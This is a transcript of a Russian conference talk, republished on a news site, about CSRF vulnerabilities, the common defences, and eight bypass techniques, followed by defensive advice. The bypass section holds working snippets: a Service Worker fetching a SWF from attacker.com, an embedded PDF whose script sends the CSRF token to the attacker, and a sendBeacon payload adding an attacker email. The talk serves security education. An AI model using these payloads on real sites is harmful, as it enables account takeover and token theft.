CSRF-уязвимости все еще актуальны04.06.2018 11:03

CSFR (Сross Site Request Forgery) в переводе на русский — это подделка межсайтовых запросов. Михаил Егоров (0ang3el) в своем докладе на Highload++ 2017 рассказал о CSRF-уязвимостях, о том, какие обычно используются механизмы защиты, а также как их все равно можно обойти. А в конце вывел ряд советов о том, как правильно защищаться от CSFR-атак. Под катом расшифровка этого выступления.

[embedded content]

О спикере: Михаил Егоров работает в компании Ingram Micro Cloud и занимается Application security. В свободное время Михаил занимается поиском уязвимостей и Bug hunting и выступает на security-конференциях

Дисклаймер: приведенная информация является сугубо мнением автора, все совпадения случайны.

В том, что CSRF-атаки работают виноват этот Cookie-монстр. Дело в том, что многие веб-приложения используют куки (здесь и далее считаем уместным называть cookies по-русски) для управления сессией пользователя. Браузер устроен так, что, если у него есть куки пользователя для данного домена и пути, он их автоматически отправляет вместе с HTTP-запросом.

Cookies

Куки — это небольшой фрагмент данных, который веб-сервер отправляет клиенту в виде name=value в HTTP-заголовке c названием «Set-Cookie». Браузер хранит эти данные на компьютере пользователя, и всякий раз при необходимости пересылает этот фрагмент данных веб-серверу в составе HTTP-запроса в HTTP-заголовке с названием «Cookie».

Куки могут иметь различные атрибуты, такие как: expires, domain, secure, httponly:

Впервые куки появились в браузере Netscape в далеком 1994 году. До сих пор многие веб-приложения используют их для управления сессией пользователя.

Рассмотрим, как работает классическая Сross Site Request Forgery (CSRF) атака.

Допустим, в нашем веб-приложении есть возможность изменять адрес доставки у пользователя, и оно использует куки для управления сессией.

У нас есть HTML-форма, которую пользователь должен заполнить: ввести адрес и нажать кнопку «Сохранить». В результате в бэкенд полетит POST-запрос с HTML-формой. Мы видим, что браузер автоматически поставил туда сессионные куки пользователя. Бэкенд, когда получит такой запрос, посмотрит, что есть такая сессия, это легитимный пользователь, и изменит ему адрес доставки.

Что может сделать атакующий?

Он может на своем сайте attacker.com разместить такую HTML-страничку, которая на самом деле сабмитит HTML-форму на сайт example.com. Так как браузер автоматически вставляет куки пользователя в HTTP-запрос, то бэкенд просто не поймет, является ли данный запрос легитимным — результат ли это заполнения формы пользователем, или это CSFR-атака — и поменяет адрес доставки для пользователя на значение, которое выгодно для атакующего.

Есть другой вариант CSFR-атаки с использованием XHR API. Если о CSFR-атаке с использованием HTML-форм слышали многие, то о данном способе знают меньше, но он тоже работает.

Обратите внимание на атрибут withCredentials, который заставляет браузер автоматически отправлять куки пользователя. Так как значение Content-type равно application/x-www-form-urlencoded, то браузер данный запрос отправит без CORS options preflight request, и опять CSFR-атака будет работать.

Рассмотрим более наглядно, как это происходит.

Исходные данные:

приложение example.com, которое уязвимо к CSFR,
пользователь,
сайт атакующего, где есть страничка csrf-xhr.html.

Пользователь аутентифицирован в приложении, которое находится на example.com. Если он зайдет на сайт атакующего, то автоматически выполнится POST-запрос, который поменяет адрес доставки. Браузер автоматически вставит сессионные куки в запрос и бэкенд поменяет адрес.

История CSRF-атак

Вообще о CSRF-атаках известно с 2001 года, когда их начали активно эксплуатировать. В период 2008–2012 такие уязвимости были на каждом первом сайте, в том числе:

YouTube;
The New York Times;
Badoo;
Slideshare;
Vimeo;
Hulu;
КиноПоиск;
…

Насколько серьезны CSRF-уязвимости?

На самом деле, все зависит от критичности уязвимого действия. Это может быть:

Account takeover — атакующий захватывает аккаунт жертвы путем смены email через CSRF.
Privilege Escalation — повышение привилегий за счет того, что атакующий через CSRF создает нового пользователя с высокими правами в системе.
Remote code execution — выполнение кода за счет эксплуатации command injection в админке через CSRF.

Обратимся к тому, что говорят международные устоявшиеся классификации уязвимостей по поводу серьезности CSRF.

В проекте OWASP Top 10, который содержит 10 наиболее критичных уязвимостей в приложении, в 2010 году CSRF-уязвимости находились на 5 месте. Потом разработчики начали имплементировать различные варианты защиты и уже в 2013 году CSRF-уязвимости сместились на 8 позицию.

В список за 2017 год CSRF-уязвимости вообще не вошли, потому что якобы по статистике сейчас при penetration-тестировании они находятся только в 8% случаев.

Лично я не согласен с данной статистикой, потому что буквально за последние два года находил много CSRF-уязвимостей. Дальше я расскажу, как я это делал.

В классификации Bugcrowd VRT (Vulnerability Rating Taxonomy) Application-wide CSRF-уязвимости имеют рейтинг severity P2 (High). Выше только severity critical, то есть это достаточно серьезные уязвимости.

Рассмотрим, какие варианты защиты от CSRF существуют и как работает каждый из вариантов защиты.

1. CSRF token

Для каждой пользовательской сессии генерируется уникальный и высокоэнтропийный токен.
Токен вставляется в DOM HTML страницы или отдается пользователю через API.
Пользователь с каждым запросом, связанным с какими-либо изменениями, должен отправить токен в параметре или в HTTP-заголовке запроса.
Так как атакующий не знает токен, то классическая CSRF-атака не работает.

2. Double submit cookie

Опять генерируется уникальный и высокоэнтропийный токен для каждой пользовательской сессии, но он помещается в куки.
Пользователь должен в запросе передать одинаковые значения в куках и в параметре запроса.
Если эти два значения совпадают в куках и в параметре, то считается, что это легитимный запрос.
Так как атакующий просто так не может изменить куки в браузере пользователя, то классическая CSRF-атака не работает.

3. Content-Type based protection

Пользователь должен отправить запрос с определенным заголовком Content-Type, например, application/json.
Так как в браузере через HTML форму или XHR API невозможно отправить произвольный Content-Type cross-origin, то классическая CSRF-атака опять не работает.

4. Referer-based protection

Пользователь должен отправить запрос с определенным значением заголовка Referer. Бэкенд его проверяет, если он неверный, то считается, что это CSRF-атака.
Так как браузер не может отправить произвольный Referer через HTML форму или XHR API, то классическая CSRF-атака не работает.

5. Password confirmation / websudo

Пользователь должен подтверждать действие с помощью пароля (или секрета).
Так как атакующий его не знает, то классическая CSRF-атака не работает.

6. SameSite Cookies в Chrome, Opera
Это новая технология, которая призвана защитить от CSRF. В данный момент она работает только в двух браузерах (Chrome, Opera).

У куки устанавливается дополнительный атрибут — samesite, который может иметь два значения: lax или strict.
Суть технологии в том, что браузер не отправляет куки, если запрос осуществляется с другого домена, например, с сайта атакующего. Таким образом это опять защищает от классической CSRF-атаки.

Но, к сожалению, везде есть особенности работы браузеров, веб-приложений и их деплоймента, которые иногда позволяют обходить CSRF защиты.

Поэтому, теперь давайте поговорим о 8 способах обхода защиты, которые можно использовать на практике.

Сценарии обхода:

1. XSS (cross-sitescripting)

Если в вашем веб-приложении есть XSS, то это автоматически делает его уязвимым к CSRF, и от этого сложно защититься. Можно только смириться.

2. Dangling markup

Допустим, в нашем приложении есть уязвимость к HTML injection, но нет XSS. Например, есть Content Security Policy (CSP), которая защищает от XSS. Но атакующий все равно может внедрять HTML теги.

Если в нашем приложении реализована защита, основанная на CSRF-токенах, атакующий может внедрить такой HTML, это не закрытые теги image или form:

 
</code>
</pre><p>
<br />В результате часть DOM HTML страницы будет отправлена на ресурс атакующего. Высока вероятность того, что если атакующий правильно внедрит такой HTML, тогда то, что придет на сайт атакующего, будет содержать CSRF-токен.</p>

<p>Таким образом узнав токен, атакующий сможет эксплуатировать CSRF классическим способом.</p>

<p><strong>3. Уязвимый субдомен</strong></p>

<p>Допустим, у нас есть субдомен <em>foo.example.com</em>, и он уязвим к <strong>subdomain takeover</strong> или <strong>XSS.</strong> В результате subdomain takeover, атакующий полностью контролирует субдомен и может добавлять туда любые HTML-странички или выполнять JS-код в контексте субдомена. Если наш субдомен уязвим к таким вещам, то атакующий сможет обойти следующие типы CSRF-защиты: </p>

<ul><li>CSRF tokens; <br /></li>
<li>Double submit cookie; <br /></li>
<li>Content-Type based protection.<br /></li>
</ul>

<p><br />Допустим, наше основное приложение использует <strong>CORS</strong> (Cross-Origin Resource Sharing) для междоменного взаимодействия. В ответ сервера вставляются два заголовка: </p>

<ol><li>Access-Control-Allow-Origin: foo.example.com (foo.example.com — уязвимый субдомен); <br /></li>
<li>Access-Control-Allow-Credentials: true— чтобы с помощью XHR API можно было сделать запрос с куками пользователя.<br /></li>
</ol>

<p><br />Если выполнены эти условия, атакующий просто сможет прочитать CSRF-токен из субдомена, который он контролирует, и дальше эксплуатировать CSRF классическим способом.</p>

<p>Следующий вариант. Допустим, на основном домене, который мы хотим атаковать, есть файл <strong>crossdomain.xml</strong>. Этот файл используется flash- и PDF-плагинами для субдоменного взаимодействия, и к нему разрешен доступ с любых субдоменов.</p>

<pre>
<code class="xml"><cross-domain-policy>
    <allow-access-from domain="*.example.com" />
</cross-domain-policy>
</code>
</pre><p>
<br />Если атакующий может загрузить JS-файл на <em>foo.example.com</em>, то в этом случае он может использовать Service Worker API для субдомена foo.example.com, который на самом деле отдает flash-файл.</p>

<pre>
<code class="javascript">var url = "https://attacker.com/bad.swf"; 
onfetch = (e) => { 
   e.respondWith(fetch(url); 
}
</code>
</pre><p>
<br />Так как у нас есть crossdomain.xml на основном домене, который разрешает взаимодействие субдоменов, то атакующий через этот SWF просто читает CSRF токен.</p>

<blockquote>
<p>Кстати, подобная уязвимость недавно была найдена в Amazon, подробнее здесь.<br /></p>
</blockquote><p>
<br />Даже если не сконфигурирован CORS и нет файла crossdomain.xml, но используется защита Double submit cookie, атакующий может просто вставлять куки с субдомена для родительского домена на путь, где он хочет эксплуатировать CSRF, и таким образом обойти Double submit cookie защиту.</p>

<p><strong>4. Bad PDF</strong></p>

<p>Этот сценарий обхода основан на PDF. В Adobe есть PDF плагин, который автоматически устанавливается при установке Adobe Reader. Этот плагин поддерживает так называемый FormCalc скрипт. Правда, сейчас PDF плагин от Adobe работает только в IE11 и Firefox ESR.</p>

<p>В FormCalc есть два замечательных метода: get () и post (). Атакующий с помощью метода get может прочитать CSRF токен, с помощью post отправить к себе на сайт. Так атакующий получает CSRF-токен жертвы.</p>

<p>Допустим, у нас есть возможность загрузить PDF-файл в веб-приложение. На самом деле это может быть даже файл другого формата, например, атакующий может попытаться загрузить PDF под видом картинки, которая является аватаром пользователя.</p>

<p>У приложения есть некоторый API на основном домене, который позволяет получать содержимое загруженного файла. Тогда атакующий может использовать такую HTML страничку, которая с помощью тега embed встраивает PDF-файл, который атакующий загрузил на <em>example.com</em>.</p>

<pre>
<code class="xml"><h1>Nothing to see here!</h1> 
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>
</code>
</pre><p>
<br />Файл <strong>leak.pdf</strong>: <br /><img src="https://habrastorage.org/webt/ua/nb/7w/uanb7wix-egv6kro7ntqby84gnm.jpeg" alt="uanb7wix-egv6kro7ntqby84gnm.jpeg" /></p>

<p>Этот файл содержит FormCalc скрипт, который как раз читает страницу Settings.action, где в DOM есть CSRF токен и отправляет с помощью метода post на сайт атакующего.</p>

<p>Так как PDF загружается с сайта example.com, то сам этот PDF имеет доступ полностью ко всему origin <code>https://example.com</code>, и может оттуда читать данные, не нарушая режим Same Origin Policy (SOP).</p>

<p>Дополнительный фокус в том, что для PDF плагина не важно, с каким Content-Type отдается PDF-файл, и даже в HTTP-ответе могут присутствовать другие заголовки (например, Content-Disposition). PDF плагин все равно будет рендерить этот PDF и выполнять FormCalc скрипт.</p>

<p><strong>5. Cookie injection</strong></p>

<p>Если используется Double submit cookie защита, то если атакующий сможет каким-либо образом внедрить куки, то это game over.</p>

<p>Один из наиболее популярных вариантов в этом сценарии — это <strong>CRLF</strong><strong>injection</strong>.</p>

<p>Если атакующий может вставлять в ответ сервера дополнительные заголовки, то он просто может добавить заголовок Set-Cookie с нужными куками и обойти CSRF-защиту.</p>

<p>Другой вариант связан с <strong>особенностями обработки куков браузером</strong>.</p>

<p>Например, в Safari можно через запятую вставлять новые куки (comma-separated cookies). Допустим, у нас есть URL-параметр в заголовке с именем language. Мы его обрабатываем и записываем пользователю в куки выбранное значение language. Если атакующий вставит запятую, то он может вставить и дополнительные куки с любым именем.</p>

<p>Также в обходе CSRF-защиты могут посодействовать <strong>баги браузера</strong>. Например, в Firefox была возможность внедрять куки через SVG-картинку (<strong>CVE-2016–9078)</strong>. Если у нас есть HTML-редактор и мы разрешаем пользователю вставлять image-теги, то атакующий может просто в SRC-атрибуте указать на SVG-картинку, которая установит нужные куки.</p>

<p><strong>6. Change Content-Type</strong><br /></p>

<blockquote>
<p>Некоторые разработчики считают, что если используется нестандартный формат данных в теле POST-запроса для общения с бэкендом, то это может спасти от CSRF. На самом деле это не так.<br /></p>
</blockquote><p>
<br />В качестве примера приведу уязвимость, которую я недавно нашел в одном очень популярном сервисе по управлению заметками.</p>

<p>Там использовался API, который использует Apache Thrift (бинарный формат данных) и куки для управления сессией. Допустим, чтобы добавить новую заметку, пользователь должен был отправить такой POST-запрос. В теле передавались бинарные данные и указывался Content-Type: application/x-thrift.</p>

<pre>
<code>POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
</code>
</pre><p>
<br />На самом же деле в бэкенде этот Content-Type не валидировался. Можно было его поменять на text/plain и с помощью XHR API эксплуатировать эту CSRF-уязвимость, просто передав бинарные данные в теле POST-запроса.<br /><img src="https://habrastorage.org/webt/pl/cv/yk/plcvykuxz09ts4h6aooogmms_pe.jpeg" alt="plcvykuxz09ts4h6aooogmms_pe.jpeg" /></p>

<p>На самом деле защита, основанная на Content-Type — это очень плохой вариант защиты. Он в большинстве случаев обходится.</p>

<p><strong>7. Non-simple Content-Type</strong></p>

<p>Через HTML-форму или с помощью XHR API мы можем отправить следующие content types: </p>

<ul><li>text/plain; <br /></li>
<li>application/x-www-form-urlencoded; <br /></li>
<li>multipart/form-data.<br /></li>
</ul>

<p><br />На самом деле есть возможность отправлять любые значения Content-Type через: </p>

<ul><li>баги в браузерах (например, Navigator.sendBeacon); <br /></li>
<li>плагины: Flash plugin + 307 redirect и PDF plugin + 307 redirect; <br /></li>
<li>фреймворки на бэкэнде.<br /></li>
</ul>

<p><br />Некоторые фреймворки, например, JAX-RS фреймворк Apache CXF поддерживает в URL параметр <strong>с именем ctype</strong>. В этом параметре можно указать любой Content-Type, бэкенд посмотрит на этот параметр и будет его использовать вместо Content-Type, которые передается в header (ссылка на источник).</p>

<p>Довольно известный баг в браузере Chrome был найден в 2015 году, после этого примерно через месяц попал в публичный доступ, но был исправлен только в 2017 году. Этот баг позволял отправлять POST-запрос с любым Content-Type на другой origin с помощью API, которое называется <strong>Navigator.sendBeacon ().</strong><br />Как выглядела эксплуатация? </p>

<pre>
<code class="xml"><script> 
 function jsonreq() { 
  var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; 
  var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); 
  navigator.sendBeacon('https://example.com/home/rpc', blob ); 
 } 
 jsonreq(); 
</script>
</code>
</pre><p>
<br />Мы создаем новый blob с нужным Content-Type и просто отправляем его с помощью Navigator.sendBeacon ().</p>

<p>Еще один сценарий обхода, который до сих пор работает и поддерживается в браузерах — обход с помощью flash-плагина.<br /><img src="https://habrastorage.org/webt/uv/dy/1x/uvdy1xpch21cebolskgfj6kk53q.jpeg" alt="uvdy1xpch21cebolskgfj6kk53q.jpeg" /></p>

<p>Даже есть сайт thehackerblog.com, где уже есть готовая флэшка, вы просто указываете URL, header, нужный Content-Type и данные, которые надо передать — отправляете, и в бэкенд улетает POST-запрос с нужным Content-Type.</p>

<p>Но есть одна хитрость — нельзя просто указать URL сайта, который мы атакуем. Нужно указать ресурс, который сделает <strong>redirect</strong> <strong>с кодом 307</strong> на ресурс, который мы атакуем. Тогда это будет работать.</p>

<p><strong>8. Spoof Referer</strong></p>

<p>Последний вариант обхода защиты от CSRF основан на Referer. Есть баг в Microsoft Edge браузере, который до сих пор не исправлен и позволяет подделывать значение Referer. Но он работает, к сожалению, только для GET-запросов. Если атакуемый бэкенд не отличает GET от POST, то этот баг можно эксплуатировать.</p>

<p>Если все же нам надо POST, то есть небольшая хитрость. Мы можем отправить header Referer с помощью PDF плагина и FormCalc.<br /><img src="https://habrastorage.org/webt/yu/iu/vw/yuiuvwwn-xj4llbso7bhkscb7nc.jpeg" alt="yuiuvwwn-xj4llbso7bhkscb7nc.jpeg" /></p>

<p>Где-то год назад можно было с помощью PDF плагина отправлять вообще любые header«ы, в том числе host, но потом Adobe закрыл эту возможность создав черный список header«ов. То есть если мы укажем Referer в заголовке, то этот заголовок просто не отправится.</p>

<p>Вообще FormCalc позволяет нам легально отправлять любой Content-Type. Если мы будем вставлять символы carridge return и line feed, то сможем добавлять в запрос дополнительные header«ы.</p>

<p>Что будет, если мы внедрим header <code>Referer http://example.com</code>? </p>

<p>Понятно, что он не находится в черном списке и в бэкенд будет отправлен header с именем <code>Referer http://example.com</code>.</p>

<p>Некоторые серверы, например, WildFly или Jboss, воспринимают <strong>пробел</strong> как конец имени HTTP-заголовка, то есть двоеточие `<strong>: </strong>`. Таким образом такие сервера увидят, что к ним пришел Referer со значением <code>http://example.com</code>. Таким образом мы подменим Referer.<br /><img src="https://habrastorage.org/webt/mb/7x/gu/mb7xgu42xmzrfmrgiane0pb_zck.jpeg" alt="mb7xgu42xmzrfmrgiane0pb_zck.jpeg" /></p>

<p>Это итоговая таблица. В столбцах представлены варианты защиты от CSRF, а в строках — методы обхода. В каждой ячейке указаны браузеры, в которых работает этот метод: </p>

<ul><li>All означает, что для всех браузеров; <br /></li>
<li>All* означает браузеры, которые не поддерживают SameSite Cookies, т.е. все кроме Chrome и Opera.<br /></li>
</ul>

<p><br /><img src="https://habrastorage.org/webt/e7/pg/-v/e7pg-vuidm5muwr1cifi0hthawu.jpeg" alt="e7pg-vuidm5muwr1cifi0hthawu.jpeg" /></p>

<p>Наиболее кардинальный и работающий вариант защититься от CSRF-атак — это избавиться от куков и использовать header с токенами.</p>

<p>Но если вы все-таки не готовы отказаться от куков для управления пользовательской сессией: </p>

<ul><li>Моделируйте угрозы и проверяйте реализацию CSRF-защиты <strong><em>(см. Итоговую таблицу).</em></strong><br /></li>
<li>Имплементируйте SameSite Cookies. Сейчас только два браузера поддерживают, но в дальнейшем, наверное, их будет больше.<br /></li>
<li>Комбинируйте различные CSRF-защиты — defense in depth.<br /></li>
<li>Спрашивайте у пользователя пароль для выполнения критичных действий.<br /></li>
<li>Отдавайте загружаемые пользователем файлы с отдельного домена.<br /></li>
</ul>

<p><br /></p>

<blockquote>
<p>Не прошло и полугода, а следующий хайлоад уже через месяц — Highload++ Siberia.</p><p>Хотим привлечь ваше внимание к некоторым из отобранных докладов: </p>
<br /></blockquote>
    
            <p class="copyrights"><span class="source">© <a target="_blank" rel="nofollow" href="https://habr.com/post/412855/?utm_campaign=412855">Habrahabr.ru</a></span></p>
                    </div>
                                                    
            <br>
            <!--<div align="left">
                <script type="text/topadvert">
                load_event: page_load
                feed_id: 12105
                pattern_id: 8187
                tech_model:
                </script><script type="text/javascript" charset="utf-8" defer="defer" async="async" src="//loader.topadvert.ru/load.js"></script>
            </div>
            <br>-->

            <div style="padding-left: 20px;">
                <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-2514821055276660"
                        crossorigin="anonymous"></script>
                <!-- PCNews 336x280 -->
                <ins class="adsbygoogle"
                     style="display:block"
                     data-ad-client="ca-pub-2514821055276660"
                     data-ad-slot="1200562049"
                     data-ad-format="auto"></ins>
                <script>
                    (adsbygoogle = window.adsbygoogle || []).push({});
                </script>
            </div>
            <!-- comments -->
                            <noindex>
                    <div style="margin: 25px;" id="disqus_thread"></div>
                    <script type="text/javascript">
                        var disqus_shortname = 'pcnewsru';
                        var disqus_identifier = '832249';
                        var disqus_title = 'CSRF-уязвимости все еще актуальны';
                        var disqus_url = 'http://pcnews.ru/blogs/csrf_uazvimosti_vse_ese_aktualny-832249.html';

                        (function() {
                            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
                            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
                            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
                        })();
                    </script>
                    <!--<noscript>Please enable JavaScript to view the <a rel="nofollow" href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>-->
                    <!--<a href="http://disqus.com" rel="nofollow" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>-->
                </noindex>
            
        </div>

        <br class="clearer"/>
    </div>
    <br class="clearer"/>

    

        <div id="footer-2nd"></div>

        <div id="footer">
            <br/><br/>
            <ul class="horz-menu">
                <li class="about"><a href="/info/about.html" title="О проекте">О
                        проекте</a></li>
                <li class="additional-menu"><a href="/archive.html" title="Архив материалов">Архив</a>
                </li>
                <li class="additional-menu"><a href="/info/reklama.html"
                                               title="Реклама" class="menu-item"><strong>Реклама</strong></a>
                    <a href="/info/partners.html" title="Партнёры"
                       class="menu-item">Партнёры</a>
                    <a href="/info/legal.html" title="Правовая информация"
                       class="menu-item">Правовая информация</a>
                    <a href="/info/contacts.html" title="Контакты"
                       class="menu-item">Контакты</a>
                    <a href="/feedback.html" title="Обратная связь" class="menu-item">Обратная
                        связь</a></li>
                <li class="email"><a href="mailto:pcnews@pcnews.ru" title="Пишите нам на pcnews@pcnews.ru"><img
                                src="/media/i/email.gif" alt="e-mail"/></a></li>
                <li style="visibility: hidden">
                    <noindex>
                        <!-- Rating@Mail.ru counter -->
                        <script type="text/javascript">
                            var _tmr = window._tmr || (window._tmr = []);
                            _tmr.push({id: "93125", type: "pageView", start: (new Date()).getTime()});
                            (function (d, w, id) {
                                if (d.getElementById(id)) return;
                                var ts = d.createElement("script");
                                ts.type = "text/javascript";
                                ts.async = true;
                                ts.id = id;
                                ts.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//top-fwz1.mail.ru/js/code.js";
                                var f = function () {
                                    var s = d.getElementsByTagName("script")[0];
                                    s.parentNode.insertBefore(ts, s);
                                };
                                if (w.opera == "[object Opera]") {
                                    d.addEventListener("DOMContentLoaded", f, false);
                                } else {
                                    f();
                                }
                            })(document, window, "topmailru-code");
                        </script>
                        <noscript>
                            <div style="position:absolute;left:-10000px;">
                                <img src="//top-fwz1.mail.ru/counter?id=93125;js=na" style="border:0;" height="1"
                                     width="1" alt="Рейтинг@Mail.ru"/>
                            </div>
                        </noscript>
                        <!-- //Rating@Mail.ru counter -->

                    </noindex>
                </li>
            </ul>
        </div>

        <!--[if lte IE 7]>
        <iframe id="popup-iframe" frameborder="0" scrolling="no"></iframe>
        <![endif]-->
        <!--<div id="robot-image"><img class="rbimg" src="i/robot-img.png" alt="" width="182" height="305" /></div>-->
        <!--[if IE 6]>
        <script>DD_belatedPNG.fix('#robot-image, .rbimg');</script><![endif]-->

    </div>

<!--[if lte IE 7]>
<iframe id="ie-popup-iframe" frameborder="0" scrolling="no"></iframe>
<![endif]-->


    <div id="footer-adlinks"></div>

    
    
    
        <noindex>


            <!--LiveInternet counter--><script type="text/javascript">
                document.write("<a rel='nofollow' href='//www.liveinternet.ru/click' "+
                    "target=_blank><img src='//counter.yadro.ru/hit?t45.6;r"+
                    escape(document.referrer)+((typeof(screen)=="undefined")?"":
                        ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
                            screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
                    ";"+Math.random()+
                    "' alt='' title='LiveInternet' "+
                    "border='0' width='1' height='1'><\/a>")
            </script><!--/LiveInternet-->

            <!-- Rating@Mail.ru counter -->
            <script type="text/javascript">
                var _tmr = window._tmr || (window._tmr = []);
                _tmr.push({id: "93125", type: "pageView", start: (new Date()).getTime()});
                (function (d, w, id) {
                    if (d.getElementById(id)) return;
                    var ts = d.createElement("script"); ts.type = "text/javascript"; ts.async = true; ts.id = id;
                    ts.src = "https://top-fwz1.mail.ru/js/code.js";
                    var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);};
                    if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); }
                })(document, window, "topmailru-code");
            </script><noscript><div>
                    <img src="https://top-fwz1.mail.ru/counter?id=93125;js=na" style="border:0;position:absolute;left:-9999px;" alt="Top.Mail.Ru" />
                </div></noscript>
            <!-- //Rating@Mail.ru counter -->



            <!-- Yandex.Metrika counter -->
            <script type="text/javascript">
                (function (d, w, c) {
                    (w[c] = w[c] || []).push(function () {
                        try {
                            w.yaCounter23235610 = new Ya.Metrika({
                                id: 23235610,
                                clickmap: true,
                                trackLinks: true,
                                accurateTrackBounce: true,
                                webvisor: true,
                                trackHash: true
                            });
                        } catch (e) {
                        }
                    });

                    var n = d.getElementsByTagName("script")[0],
                        s = d.createElement("script"),
                        f = function () {
                            n.parentNode.insertBefore(s, n);
                        };
                    s.type = "text/javascript";
                    s.async = true;
                    s.src = "https://mc.yandex.ru/metrika/watch.js";

                    if (w.opera == "[object Opera]") {
                        d.addEventListener("DOMContentLoaded", f, false);
                    } else {
                        f();
                    }
                })(document, window, "yandex_metrika_callbacks");
            </script>
            <noscript>
                <div><img src="https://mc.yandex.ru/watch/23235610" style="position:absolute; left:-9999px;" alt=""/>
                </div>
            </noscript>
            <!-- /Yandex.Metrika counter -->

            <!-- Default Statcounter code for PCNews.ru http://pcnews.ru-->
            <script type="text/javascript">
                var sc_project=9446204;
                var sc_invisible=1;
                var sc_security="14d6509a";
            </script>
            <script type="text/javascript"
                    src="https://www.statcounter.com/counter/counter.js"
                    async></script>
            <!-- End of Statcounter Code -->

            <script>
                (function (i, s, o, g, r, a, m) {
                    i['GoogleAnalyticsObject'] = r;
                    i[r] = i[r] || function () {
                            (i[r].q = i[r].q || []).push(arguments)
                        }, i[r].l = 1 * new Date();
                    a = s.createElement(o),
                        m = s.getElementsByTagName(o)[0];
                    a.async = 1;
                    a.src = g;
                    m.parentNode.insertBefore(a, m)
                })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');

                ga('create', 'UA-46280051-1', 'pcnews.ru');
                ga('send', 'pageview');

            </script>

            <script async="async" src="/assets/uptolike.js?pid=49295"></script>

        </noindex>
    



<!--<div id="AdwolfBanner40x200_842695" ></div>-->
<!--AdWolf Asynchronous Code Start -->

<script type="text/javascript" src="https://pcnews.ru/js/blockAdblock.js"></script>

<script type="text/javascript" src="/assets/jquery.min.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/jquery/jquery.json.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/jquery/jquery.form.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/jquery/jquery.easing.1.2.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/jquery/effects.core.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/js/browser-sniff.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/js/scripts.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/js/pcnews-utils.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/js/pcnews-auth.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/js/pcnews-fiximg.js"></script>
<script type="text/javascript" src="/assets/a70a9c7f/js/pcnews-infobox.js"></script>
</body>
</html>